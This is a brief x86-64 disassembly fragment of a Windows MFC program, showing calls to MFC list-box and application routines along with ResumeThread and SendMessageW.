call qword [sym.imp.mfc100u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_clas]
nop
mov dword [rbx + 0x208], 0x3ea
mov edx, 2
mov rcx, rbx
call qword [sym.imp.mfc100u.dll_CVSListBox::EditItem]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc100u.dll_CWinApp::CWinApp]
xor eax, eax
jmp 0x1400012cf
mov dword [rax + 0x50], 0
mov rcx, qword [rbx + 0x1f8]
mov rcx, qword [rcx + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r9, qword [rbx + 0x118]
mov edx, 0x80
lea r8d, [rdx - 0x7f]
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.USER32.dll_SendMessageW]
mov r9, qword [rbx + 0x118]
xor r8d, r8d
mov edx, 0x80
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.USER32.dll_SendMessageW]
mov eax, 1
add rsp, 0x40
pop rbx
ret